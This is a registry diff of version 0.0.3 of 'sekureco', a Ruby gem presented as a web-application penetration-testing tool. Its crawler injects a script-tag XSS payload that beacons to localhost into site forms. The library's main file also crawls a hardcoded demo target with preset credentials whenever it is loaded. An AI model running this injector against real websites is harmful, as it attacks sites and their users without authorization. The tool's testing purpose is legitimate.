sekureco 0.0.2 → 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/sekureco/html_page.rb +2 -8
- data/lib/sekureco/http_client.rb +3 -3
- data/lib/sekureco/web_crawler.rb +56 -23
- data/lib/sekureco.rb +7 -7
- metadata +16 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA1:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: ca95ad9fc713e6412fcb1cbd7e8d27865234ceb1
|
|
4
|
+
data.tar.gz: 51b2f2944d7c8f3d980e54b3094d32b293dddc7a
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: c78fe0ba00c79ade41a29a9642508922ca2d968cbff56eedca71c96ddaae5529320fc93e7507fe5166c3cd46675828e30859acaa6773a66da763c3bec423771c
|
|
7
|
+
data.tar.gz: a73cca1a189cfe1127936ae22dfcae10f8cab91edfb0be1c4105bec2d18a42a98ad3a5f31b6970b87de8eaf2569a045892f84a1484168cde06ee7a385e6d5143
|
data/lib/sekureco/html_page.rb
CHANGED
|
@@ -51,14 +51,8 @@ module Sekureco
|
|
|
51
51
|
end
|
|
52
52
|
|
|
53
53
|
def log
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
puts "Error"
|
|
57
|
-
else
|
|
58
|
-
puts self
|
|
59
|
-
end
|
|
60
|
-
2.times { puts }
|
|
61
|
-
puts "=" * 80
|
|
54
|
+
Sekureco.logger.info(self.to_s)
|
|
55
|
+
Sekureco.logger.info("\n#{"=" * 80}\n")
|
|
62
56
|
end
|
|
63
57
|
end
|
|
64
58
|
|
data/lib/sekureco/http_client.rb
CHANGED
|
@@ -12,7 +12,7 @@ module Sekureco
|
|
|
12
12
|
end
|
|
13
13
|
|
|
14
14
|
def get uri
|
|
15
|
-
|
|
15
|
+
Sekureco.logger.info "GET #{uri.to_s}"
|
|
16
16
|
HTTP.start(uri.host, uri.port) do |http|
|
|
17
17
|
get_request = HTTP::Get.new uri
|
|
18
18
|
get_request['Cookie'] = cookies
|
|
@@ -23,8 +23,8 @@ module Sekureco
|
|
|
23
23
|
end
|
|
24
24
|
|
|
25
25
|
def post uri, params = {}
|
|
26
|
-
|
|
27
|
-
|
|
26
|
+
Sekureco.logger.info "POST #{uri.to_s}"
|
|
27
|
+
Sekureco.logger.info "params: #{params}"
|
|
28
28
|
HTTP.start(uri.host, uri.port) do |http|
|
|
29
29
|
post_request = HTTP::Post.new uri
|
|
30
30
|
post_request['Cookie'] = cookies
|
data/lib/sekureco/web_crawler.rb
CHANGED
|
@@ -1,12 +1,21 @@
|
|
|
1
1
|
require_relative 'html_page'
|
|
2
2
|
require_relative 'http_client'
|
|
3
3
|
|
|
4
|
+
require 'logger'
|
|
5
|
+
require 'launchy'
|
|
6
|
+
|
|
4
7
|
module Sekureco
|
|
5
8
|
|
|
9
|
+
def self.logger
|
|
10
|
+
@logger ||= Logger.new(File.new("sekureco.log", "w"))
|
|
11
|
+
end
|
|
12
|
+
|
|
6
13
|
class WebCrawler
|
|
7
14
|
|
|
8
|
-
|
|
9
|
-
|
|
15
|
+
MAX_DIST = 4
|
|
16
|
+
|
|
17
|
+
def initialize url, username = nil, password = nil, app_token = 'foo'
|
|
18
|
+
@uri = URI url
|
|
10
19
|
@http_client = HttpClient.new
|
|
11
20
|
@source_page = HtmlPage.new @http_client.get(@uri).body
|
|
12
21
|
@visited = {}
|
|
@@ -26,26 +35,34 @@ module Sekureco
|
|
|
26
35
|
unless too_deep? @current_page
|
|
27
36
|
test_forms_of @current_page if @current_page.has_forms?
|
|
28
37
|
@current_page.links.each do |current_link|
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
next_page
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
38
|
+
begin
|
|
39
|
+
next_link = URI.join(@uri.to_s, URI::encode(parse(current_link)))
|
|
40
|
+
next if next_link.path.include? 'logout'
|
|
41
|
+
response = if current_link["data-method"]
|
|
42
|
+
@http_client.post(next_link, { '_method' => current_link['data-method'],
|
|
43
|
+
'authenticity_token' => @current_page.csrf_token })
|
|
44
|
+
else
|
|
45
|
+
@http_client.get(next_link)
|
|
46
|
+
end
|
|
47
|
+
next_page = HtmlPage.new(response.body)
|
|
48
|
+
unless already_visited?(next_page)
|
|
49
|
+
next_page.log
|
|
50
|
+
mark_as_visited next_page
|
|
51
|
+
update_distance next_page
|
|
52
|
+
@queue << next_page
|
|
53
|
+
end
|
|
54
|
+
rescue
|
|
55
|
+
Sekureco.logger.warn "Invalid URI: #{current_link}"
|
|
43
56
|
end
|
|
44
57
|
end
|
|
45
58
|
end
|
|
46
59
|
@vulnerabilities = true if detect_embedded_scripts_in(@current_page)
|
|
47
|
-
|
|
60
|
+
if @vulnerabilities
|
|
61
|
+
Sekureco.logger.info "Successfully applied XSS attack"
|
|
62
|
+
confirm_attack
|
|
63
|
+
end
|
|
48
64
|
end
|
|
65
|
+
clear_visited_pages
|
|
49
66
|
end
|
|
50
67
|
|
|
51
68
|
def test_forms_of html_page
|
|
@@ -54,10 +71,10 @@ module Sekureco
|
|
|
54
71
|
form.css("input, textarea").each do |input|
|
|
55
72
|
field_name = input['name']
|
|
56
73
|
next if field_name.nil?
|
|
57
|
-
if field_name.include?
|
|
58
|
-
params[field_name] = @default_password || random_string
|
|
59
|
-
elsif possible_login_fields.any? { |s| field_name.include? s }
|
|
74
|
+
if possible_login_fields.any? { |s| field_name.include? s }
|
|
60
75
|
params[field_name] = @default_username || random_string
|
|
76
|
+
elsif possible_password_fields.any? { |s| field_name.include? s }
|
|
77
|
+
params[field_name] = @default_password || random_string
|
|
61
78
|
else
|
|
62
79
|
params[field_name] = input['value'] || input['content'] || xss_attack
|
|
63
80
|
end
|
|
@@ -84,6 +101,10 @@ module Sekureco
|
|
|
84
101
|
@visited[page.parsed_body] = true
|
|
85
102
|
end
|
|
86
103
|
|
|
104
|
+
def clear_visited_pages
|
|
105
|
+
@visited = {}
|
|
106
|
+
end
|
|
107
|
+
|
|
87
108
|
def already_visited? page
|
|
88
109
|
@visited[page.parsed_body]
|
|
89
110
|
end
|
|
@@ -93,11 +114,15 @@ module Sekureco
|
|
|
93
114
|
end
|
|
94
115
|
|
|
95
116
|
def too_deep? page
|
|
96
|
-
@distance[page] >=
|
|
117
|
+
@distance[page] >= MAX_DIST
|
|
97
118
|
end
|
|
98
119
|
|
|
99
120
|
def possible_login_fields
|
|
100
|
-
%w(username user name email login)
|
|
121
|
+
%w(username user name email login uid)
|
|
122
|
+
end
|
|
123
|
+
|
|
124
|
+
def possible_password_fields
|
|
125
|
+
%w(password passwd pw)
|
|
101
126
|
end
|
|
102
127
|
|
|
103
128
|
def random_string
|
|
@@ -105,7 +130,15 @@ module Sekureco
|
|
|
105
130
|
end
|
|
106
131
|
|
|
107
132
|
def xss_attack
|
|
108
|
-
"<script class='#{@app_token}'>
|
|
133
|
+
"<script class='#{@app_token}'>
|
|
134
|
+
let image = new Image();
|
|
135
|
+
image.src = 'http://localhost:4000/confirm/#{@app_token}';
|
|
136
|
+
</script>"
|
|
137
|
+
end
|
|
138
|
+
|
|
139
|
+
def confirm_attack
|
|
140
|
+
File.open("current_page.html", "w+") { |f| f.write(@current_page) }
|
|
141
|
+
Launchy.open("#{Dir.pwd}/current_page.html")
|
|
109
142
|
end
|
|
110
143
|
|
|
111
144
|
def detect_embedded_scripts_in html_page
|
data/lib/sekureco.rb
CHANGED
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
require_relative 'sekureco/web_crawler'
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
3
|
+
default_email = "joao-bonfim"
|
|
4
|
+
default_password = "test"
|
|
5
|
+
website = "http://testphp.vulnweb.com/guestbook.php"
|
|
6
|
+
Sekureco.logger.info "Crawling #{website}"
|
|
7
|
+
2.times { puts }
|
|
8
|
+
wc = Sekureco::WebCrawler.new(website, default_email, default_password)
|
|
9
|
+
puts wc.test_application
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: sekureco
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.0.
|
|
4
|
+
version: 0.0.3
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- Pedro de Lyra
|
|
@@ -9,7 +9,21 @@ autorequire:
|
|
|
9
9
|
bindir: bin
|
|
10
10
|
cert_chain: []
|
|
11
11
|
date: 2017-10-17 00:00:00.000000000 Z
|
|
12
|
-
dependencies:
|
|
12
|
+
dependencies:
|
|
13
|
+
- !ruby/object:Gem::Dependency
|
|
14
|
+
name: launchy
|
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
|
16
|
+
requirements:
|
|
17
|
+
- - "~>"
|
|
18
|
+
- !ruby/object:Gem::Version
|
|
19
|
+
version: '0'
|
|
20
|
+
type: :runtime
|
|
21
|
+
prerelease: false
|
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
|
23
|
+
requirements:
|
|
24
|
+
- - "~>"
|
|
25
|
+
- !ruby/object:Gem::Version
|
|
26
|
+
version: '0'
|
|
13
27
|
description: A tool to perform penetration tests on web applications
|
|
14
28
|
email: pedrodelyra@gmail.com
|
|
15
29
|
executables: []
|